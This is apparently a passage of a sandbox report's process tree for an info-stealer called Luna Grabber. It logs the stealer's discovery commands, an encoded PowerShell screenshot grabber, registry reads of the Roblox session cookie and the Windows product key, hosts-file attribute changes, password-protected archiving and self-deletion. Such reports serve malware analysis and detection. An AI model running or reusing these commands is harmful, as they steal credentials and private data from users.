    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2620
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1516
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:856
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:1844
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:32
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:1424
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:4540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:4764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3200
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\231a2q3w\231a2q3w.cmdline"
        5⤵
        
        PID:756
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA5F7.tmp" "c:\Users\Admin\AppData\Local\Temp\231a2q3w\CSCB42CB1FC6A90492D98704FC365DC435F.TMP"
        6⤵
        
        PID:2360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4628
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:4416
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:1460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2488
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:4928
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:3540
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4628
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1460
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5004
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3524
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:3044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:4748
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI11282\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Y9Lkn.zip" *"
    3⤵
    PID:504
  - - C:\Users\Admin\AppData\Local\Temp\_MEI11282\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI11282\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Y9Lkn.zip" *
      4⤵
      Executes dropped EXE
      PID:2200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:3428
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:540
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2588
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:2188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:4844
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:3036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\Desktop\Luna-Grabber-main\Builder.exe""
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2624
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 3
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2520

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:3564

C:\Windows\System32\oobe\UserOOBEBroker.exe
C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:4276

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
1⤵
- System Location Discovery: System Language Discovery
PID:3120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1644

C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe" -ServerName:SecHealthUI.AppXep4x2tbtjws1v9qqs0rmb3hxykvkpqtn.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:2848

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:2700

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:4264

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:4852

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:2564

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {6CED0DAA-4CDE-49C9-BA3A-AE163DC3D7AF} -Embedding
1⤵
PID:2700

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:2752

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:1788

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:4884

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:1656

C:\Windows\System32\SecurityHealthHost.exe
C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:2228

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://go.microsoft.com/fwlink/?linkid=857185
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
PID:3892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x140,0x144,0x148,0x120,0x14c,0x7ff903d246f8,0x7ff903d24708,0x7ff903d24718
  2⤵
  PID:3592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,7972190994783448014,13453953587568548940,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2
  2⤵
  PID:1032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,7972190994783448014,13453953587568548940,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,7972190994783448014,13453953587568548940,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2828 /prefetch:8
  2⤵
  PID:1080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,7972190994783448014,13453953587568548940,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3696 /prefetch:1
  2⤵
  PID:3992
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,7972190994783448014,13453953587568548940,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3708 /prefetch:1
  2⤵
  PID:1544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,7972190994783448014,13453953587568548940,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2196 /prefetch:1
  2⤵
  PID:1440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,7972190994783448014,13453953587568548940,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3856 /prefetch:1
  2⤵
  PID:3708
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
